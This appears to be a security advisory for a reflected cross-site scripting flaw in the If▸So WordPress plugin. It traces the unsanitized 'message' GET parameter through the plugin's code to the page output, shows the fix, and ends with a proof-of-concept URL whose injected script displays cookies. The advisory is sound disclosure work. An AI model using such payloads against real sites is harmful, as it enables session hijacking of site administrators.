Vulnerabilty Details: Reflected Cross-Site Scripting (XSS) in If▸So
One of the changelog entries for the latest version of If▸So is “Security updates.” Looking at the changes made in that version we found that at least involves a reflected cross-site scripting (XSS) vulnerability, which has been fixed in the new version.
When accessing the plugin’s Geolocation admin page the function display_admin_menu_geo_page():
181 182 183 184 185 186 187 188 | add_submenu_page( 'if-so', __('Geolocation', 'if-so'), __('Geolocation', 'if-so'), 'manage_options', 'wpcdd_admin_geo_license', array( $this, 'display_admin_menu_geo_page' ) ); |
That will in turn load the file /admin/partials/ifso_geo_page_display.php:
76 77 | public function display_admin_menu_geo_page( $post ){ require_once('partials/ifso_geo_page_display.php'); |
In that file this code runs:
469 470 471 472 473 474 475 | $error_message = $this->edd_ifso_get_error_message();
if ( $error_message ) {
?>
<span class="description license-error-message">
<?php echo $error_message; ?> |
That will output what is returned from the function edd_ifso_get_error_message(). That function in turn returns the value of the GET input “message” without sanitizing it if the GET input “sl_activation” is set to false:
99 100 101 102 103 104 105 106 107 | private function edd_ifso_get_error_message() { if ( !$this->edd_ifso_is_in_activations_process() ) return false; switch( $_GET['sl_activation'] ) { case 'false': $message = stripslashes(urldecode( $_GET['message'] )); return $message; |
As confirmed by the proof of concept below, that lead to a reflected cross-site scripting (XSS) vulnerability.
In the new version sanitization through filter_var() has been added:
114 | $message = filter_var($message,FILTER_SANITIZE_FULL_SPECIAL_CHARS); //REMOVE XSS |
Proof of Concept
The following proof of concept will cause any available cookies to be shown in an alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.
Make sure to replace “[path to WordPress]” with the location of WordPress.
http://[path to WordPress]/wp-admin/admin.php?page=wpcdd_admin_geo_license&sl_activation=false&message="><script>alert(document.cookie);</script>